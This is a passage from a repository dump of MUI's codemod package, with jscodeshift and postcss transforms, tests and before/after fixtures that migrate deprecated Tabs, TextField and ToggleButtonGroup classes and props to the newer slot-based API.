`${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n                        ...(atomicClasses.length > 1\n                          ? [j.templateElement({ raw: '.', cooked: '.' }, false)]\n                          : []),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/tabs-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './tabs-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('chip-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/test-cases/actual.css",
    "content": ".MuiTabs-flexContainer {\n  color: red;\n}\n\n.MuiTabs-flexContainerVertical {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/test-cases/actual.js",
    "content": "import { tabsClasses } from '@mui/material/Tabs';\n\n('&.MuiTabs-flexContainer');\n('&.MuiTabs-flexContainerVertical');\n`&.${tabsClasses.flexContainer}`;\n`&.${tabsClasses.flexContainerVertical}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/test-cases/expected.css",
    "content": ".MuiTabs-list {\n  color: red;\n}\n\n.MuiTabs-list.MuiTabs-vertical {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/test-cases/expected.js",
    "content": "import { tabsClasses } from '@mui/material/Tabs';\n\n(\"&.MuiTabs-list\");\n(\"&.MuiTabs-list.MuiTabs-vertical\");\n`&.${tabsClasses.list}`;\n`&.${tabsClasses.list}.${tabsClasses.vertical}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/test-cases/package.actual.js",
    "content": "import { tabsClasses } from '@org/ui/material/Tabs';\n\n('&.MuiTabs-flexContainer');\n('&.MuiTabs-flexContainerVertical');\n`&.${tabsClasses.flexContainer}`;\n`&.${tabsClasses.flexContainerVertical}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/test-cases/package.expected.js",
    "content": "import { tabsClasses } from '@org/ui/material/Tabs';\n\n(\"&.MuiTabs-list\");\n(\"&.MuiTabs-list.MuiTabs-vertical\");\n`&.${tabsClasses.list}`;\n`&.${tabsClasses.list}.${tabsClasses.vertical}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/index.js",
    "content": "export { default } from './tabs-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/tabs-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\nimport findComponentJSX from '../../util/findComponentJSX';\nimport findComponentDefaultProps from '../../util/findComponentDefaultProps';\n\nconst slotKeyRenames = {\n  StartScrollButtonIcon: 'startScrollButtonIcon',\n  EndScrollButtonIcon: 'endScrollButtonIcon',\n};\n\nfunction renameSlotKey(property) {\n  const name = property.key?.name || property.key?.value;\n  if (name && slotKeyRenames[name]) {\n    property.key.name = slotKeyRenames[name];\n  }\n}\n\nfunction renameJsxSlotKeys(j, element, attributeName) {\n  element.openingElement.attributes.forEach((attr) => {\n    if (\n      attr.type === 'JSXAttribute' &&\n      attr.name?.name === attributeName &&\n      attr.value?.expression?.type === 'ObjectExpression'\n    ) {\n      attr.value.expression.properties.forEach(renameSlotKey);\n    }\n  });\n}\n\nfunction renameDefaultPropsSlotKeys(j, defaultPropsPathCollection, attributeName) {\n  defaultPropsPathCollection\n    .find(j.ObjectProperty, { key: { name: attributeName } })\n    .forEach((path) => {\n      if (path.value.value.type === 'ObjectExpression') {\n        path.value.value.properties.forEach(renameSlotKey);\n      }\n    });\n}\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tabs',\n    propName: 'ScrollButtonComponent',\n    slotName: 'scrollButtons',\n  });\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tabs',\n    propName: 'TabScrollButtonProps',\n    slotName: 'scrollButtons',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tabs',\n    propName: 'TabIndicatorProps',\n    slotName: 'indicator',\n  });\n\n  findComponentJSX(\n    j,\n    { root, packageName: options.packageName, componentName: 'Tabs' },\n    (elementPath) => {\n      renameJsxSlotKeys(j, elementPath.node, 'slots');\n    },\n  );\n\n  const defaultPropsPathCollection = findComponentDefaultProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tabs',\n  });\n\n  renameDefaultPropsSlotKeys(j, defaultPropsPathCollection, 'slots');\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/tabs-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './tabs-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'tabs-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/test-cases/actual.js",
    "content": "import Tabs from '@mui/material/Tabs';\nimport { Tabs as MyTabs } from '@mui/material';\n\n<Tabs\n  ScrollButtonComponent={CustomScrollButton}\n  TabScrollButtonProps={{ disableRipple: true }}\n  TabIndicatorProps={{ className: 'indicator' }}\n/>;\n\n<MyTabs\n  ScrollButtonComponent={CustomScrollButton}\n  TabScrollButtonProps={{ disableRipple: true }}\n  TabIndicatorProps={{ className: 'indicator' }}\n/>;\n\n<Tabs\n  slots={{ StartScrollButtonIcon: CustomIcon, EndScrollButtonIcon: CustomIcon2 }}\n/>;\n\n<MyTabs\n  slots={{ StartScrollButtonIcon: CustomIcon }}\n/>;\n\n<CustomTabs\n  ScrollButtonComponent={CustomScrollButton}\n  TabScrollButtonProps={{ disableRipple: true }}\n  TabIndicatorProps={{ className: 'indicator' }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/test-cases/expected.js",
    "content": "import Tabs from '@mui/material/Tabs';\nimport { Tabs as MyTabs } from '@mui/material';\n\n<Tabs\n  slots={{\n    scrollButtons: CustomScrollButton\n  }}\n  slotProps={{\n    scrollButtons: { disableRipple: true },\n    indicator: { className: 'indicator' }\n  }} />;\n\n<MyTabs\n  slots={{\n    scrollButtons: CustomScrollButton\n  }}\n  slotProps={{\n    scrollButtons: { disableRipple: true },\n    indicator: { className: 'indicator' }\n  }} />;\n\n<Tabs\n  slots={{ startScrollButtonIcon: CustomIcon, endScrollButtonIcon: CustomIcon2 }}\n/>;\n\n<MyTabs\n  slots={{ startScrollButtonIcon: CustomIcon }}\n/>;\n\n<CustomTabs\n  ScrollButtonComponent={CustomScrollButton}\n  TabScrollButtonProps={{ disableRipple: true }}\n  TabIndicatorProps={{ className: 'indicator' }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/test-cases/package.actual.js",
    "content": "import Tabs from '@org/ui/material/Tabs';\nimport { Tabs as MyTabs } from '@org/ui/material';\n\n<Tabs\n  ScrollButtonComponent={CustomScrollButton}\n  TabScrollButtonProps={{ disableRipple: true }}\n  TabIndicatorProps={{ className: 'indicator' }}\n/>;\n\n<MyTabs\n  ScrollButtonComponent={CustomScrollButton}\n  TabScrollButtonProps={{ disableRipple: true }}\n  TabIndicatorProps={{ className: 'indicator' }}\n/>;\n\n<Tabs\n  slots={{ StartScrollButtonIcon: CustomIcon, EndScrollButtonIcon: CustomIcon2 }}\n/>;\n\n<CustomTabs\n  ScrollButtonComponent={CustomScrollButton}\n  TabScrollButtonProps={{ disableRipple: true }}\n  TabIndicatorProps={{ className: 'indicator' }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/test-cases/package.expected.js",
    "content": "import Tabs from '@org/ui/material/Tabs';\nimport { Tabs as MyTabs } from '@org/ui/material';\n\n<Tabs\n  slots={{\n    scrollButtons: CustomScrollButton\n  }}\n  slotProps={{\n    scrollButtons: { disableRipple: true },\n    indicator: { className: 'indicator' }\n  }} />;\n\n<MyTabs\n  slots={{\n    scrollButtons: CustomScrollButton\n  }}\n  slotProps={{\n    scrollButtons: { disableRipple: true },\n    indicator: { className: 'indicator' }\n  }} />;\n\n<Tabs\n  slots={{ startScrollButtonIcon: CustomIcon, endScrollButtonIcon: CustomIcon2 }}\n/>;\n\n<CustomTabs\n  ScrollButtonComponent={CustomScrollButton}\n  TabScrollButtonProps={{ disableRipple: true }}\n  TabIndicatorProps={{ className: 'indicator' }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiTabs: {\n    defaultProps: {\n      ScrollButtonComponent: CustomScrollButton,\n      TabScrollButtonProps: { disableRipple: true },\n      TabIndicatorProps: { className: 'indicator' },\n    },\n  },\n});\n\nfn({\n  MuiTabs: {\n    defaultProps: {\n      slots: {\n        StartScrollButtonIcon: CustomIcon,\n        EndScrollButtonIcon: CustomIcon2,\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiTabs: {\n    defaultProps: {\n      slots: {\n        scrollButtons: CustomScrollButton\n      },\n\n      slotProps: {\n        scrollButtons: { disableRipple: true },\n        indicator: { className: 'indicator' }\n      }\n    },\n  },\n});\n\nfn({\n  MuiTabs: {\n    defaultProps: {\n      slots: {\n        startScrollButtonIcon: CustomIcon,\n        endScrollButtonIcon: CustomIcon2,\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/index.js",
    "content": "export { default } from './text-field-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/test-cases/actual.js",
    "content": "import TextField from '@mui/material/TextField';\nimport { TextField as MyTextField } from '@mui/material';\n\n<TextField\n  InputProps={CustomInputProps}\n  inputProps={CustomHtmlInputProps}\n  SelectProps={CustomSelectProps}\n  InputLabelProps={CustomInputLabelProps}\n  FormHelperTextProps={CustomFormHelperProps}\n/>;\n<MyTextField\n  InputProps={CustomInputProps}\n  inputProps={CustomHtmlInputProps}\n  SelectProps={CustomSelectProps}\n  InputLabelProps={CustomInputLabelProps}\n  FormHelperTextProps={CustomFormHelperProps}\n/>;\n<NonMuiTextField\n  InputProps={CustomInputProps}\n  inputProps={CustomHtmlInputProps}\n  SelectProps={CustomSelectProps}\n  InputLabelProps={CustomInputLabelProps}\n  FormHelperTextProps={CustomFormHelperProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/test-cases/expected.js",
    "content": "import TextField from '@mui/material/TextField';\nimport { TextField as MyTextField } from '@mui/material';\n\n<TextField\n  slotProps={{\n    input: CustomInputProps,\n    htmlInput: CustomHtmlInputProps,\n    select: CustomSelectProps,\n    inputLabel: CustomInputLabelProps,\n    formHelperText: CustomFormHelperProps\n  }} />;\n<MyTextField\n  slotProps={{\n    input: CustomInputProps,\n    htmlInput: CustomHtmlInputProps,\n    select: CustomSelectProps,\n    inputLabel: CustomInputLabelProps,\n    formHelperText: CustomFormHelperProps\n  }} />;\n<NonMuiTextField\n  InputProps={CustomInputProps}\n  inputProps={CustomHtmlInputProps}\n  SelectProps={CustomSelectProps}\n  InputLabelProps={CustomInputLabelProps}\n  FormHelperTextProps={CustomFormHelperProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/test-cases/package.actual.js",
    "content": "import TextField from '@org/ui/material/TextField';\nimport { TextField as MyTextField } from '@org/ui/material';\n\n<TextField\n  InputProps={CustomInputProps}\n  inputProps={CustomHtmlInputProps}\n  SelectProps={CustomSelectProps}\n  InputLabelProps={CustomInputLabelProps}\n  FormHelperTextProps={CustomFormHelperProps}\n/>;\n<MyTextField\n  InputProps={CustomInputProps}\n  inputProps={CustomHtmlInputProps}\n  SelectProps={CustomSelectProps}\n  InputLabelProps={CustomInputLabelProps}\n  FormHelperTextProps={CustomFormHelperProps}\n/>;\n<NonMuiTextField\n  InputProps={CustomInputProps}\n  inputProps={CustomHtmlInputProps}\n  SelectProps={CustomSelectProps}\n  InputLabelProps={CustomInputLabelProps}\n  FormHelperTextProps={CustomFormHelperProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/test-cases/package.expected.js",
    "content": "import TextField from '@org/ui/material/TextField';\nimport { TextField as MyTextField } from '@org/ui/material';\n\n<TextField\n  slotProps={{\n    input: CustomInputProps,\n    htmlInput: CustomHtmlInputProps,\n    select: CustomSelectProps,\n    inputLabel: CustomInputLabelProps,\n    formHelperText: CustomFormHelperProps\n  }} />;\n<MyTextField\n  slotProps={{\n    input: CustomInputProps,\n    htmlInput: CustomHtmlInputProps,\n    select: CustomSelectProps,\n    inputLabel: CustomInputLabelProps,\n    formHelperText: CustomFormHelperProps\n  }} />;\n<NonMuiTextField\n  InputProps={CustomInputProps}\n  inputProps={CustomHtmlInputProps}\n  SelectProps={CustomSelectProps}\n  InputLabelProps={CustomInputLabelProps}\n  FormHelperTextProps={CustomFormHelperProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiTextField: {\n    defaultProps: {\n      InputProps: CustomInputProps,\n      inputProps: CustomHtmlInputProps,\n      SelectProps: CustomSelectProps,\n      InputLabelProps: CustomInputLabelProps,\n      FormHelperTextProps: CustomFormHelperProps\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiTextField: {\n    defaultProps: {\n      slotProps: {\n        input: CustomInputProps,\n        htmlInput: CustomHtmlInputProps,\n        select: CustomSelectProps,\n        inputLabel: CustomInputLabelProps,\n        formHelperText: CustomFormHelperProps\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/text-field-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'TextField',\n    propName: 'InputProps',\n    slotName: 'input',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'TextField',\n    propName: 'inputProps',\n    slotName: 'htmlInput',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'TextField',\n    propName: 'SelectProps',\n    slotName: 'select',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'TextField',\n    propName: 'InputLabelProps',\n    slotName: 'inputLabel',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'TextField',\n    propName: 'FormHelperTextProps',\n    slotName: 'formHelperText',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/text-field-props/text-field-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './text-field-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'text-field-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/index.js",
    "content": "export { default } from './toggle-button-group-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiToggleButtonGroup-groupedHorizontal',\n    replacementSelector: '.MuiToggleButtonGroup-horizontal > .MuiToggleButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiToggleButtonGroup-groupedVertical',\n    replacementSelector: '.MuiToggleButtonGroup-vertical > .MuiToggleButtonGroup-grouped',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated ToggleButtonGroup classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}$`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/test-cases/actual.css",
    "content": ".MuiToggleButtonGroup-root .MuiToggleButtonGroup-groupedHorizontal {\n  color: red;\n}\n\n.MuiToggleButtonGroup-root .MuiToggleButtonGroup-groupedVertical {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/test-cases/actual.js",
    "content": "import { toggleButtonGroupClasses } from '@mui/material/ToggleButtonGroup';\n\n('& .MuiToggleButtonGroup-groupedHorizontal');\n('& .MuiToggleButtonGroup-groupedVertical');\n`& .${toggleButtonGroupClasses.groupedHorizontal}`;\n`& .${toggleButtonGroupClasses.groupedVertical}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/test-cases/expected.css",
    "content": ".MuiToggleButtonGroup-root.MuiToggleButtonGroup-horizontal > .MuiToggleButtonGroup-grouped {\n  color: red;\n}\n\n.MuiToggleButtonGroup-root.MuiToggleButtonGroup-vertical > .MuiToggleButtonGroup-grouped {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/test-cases/expected.js",
    "content": "import { toggleButtonGroupClasses } from '@mui/material/ToggleButtonGroup';\n\n(\"&.MuiToggleButtonGroup-horizontal > .MuiToggleButtonGroup-grouped\");\n(\"&.MuiToggleButtonGroup-vertical > .MuiToggleButtonGroup-grouped\");\n`&.${toggleButtonGroupClasses.horizontal} > .${toggleButtonGroupClasses.grouped}`;\n`&.${toggleButtonGroupClasses.vertical} > .${toggleButtonGroupClasses.grouped}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/test-cases/package.actual.js",
    "content": "import { toggleButtonGroupClasses } from '@org/ui/material/ToggleButtonGroup';\n\n('& .MuiToggleButtonGroup-groupedHorizontal');\n('& .MuiToggleButtonGroup-groupedVertical');\n`& .${toggleButtonGroupClasses.groupedHorizontal}`;\n`& .${toggleButtonGroupClasses.groupedVertical}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/test-cases/package.expected.js",
    "content": "import { toggleButtonGroupClasses } from '@org/ui/material/ToggleButtonGroup';\n\n(\"&.MuiToggleButtonGroup-horizontal > .MuiToggleButtonGroup-grouped\");\n(\"&.MuiToggleButtonGroup-vertical > .MuiToggleButtonGroup-grouped\");\n`&.${toggleButtonGroupClasses.horizontal} > .${toggleButtonGroupClasses.grouped}`;\n`&.${toggleButtonGroupClasses.vertical} > .${toggleButtonGroupClasses.grouped}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/toggle-button-group-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/ToggleButtonGroup)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'toggleButtonGroupClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiToggleButtonGroup-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/toggle-button-group-classes/toggle-button-group-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './toggle-button-group-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('toggle-button-group-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        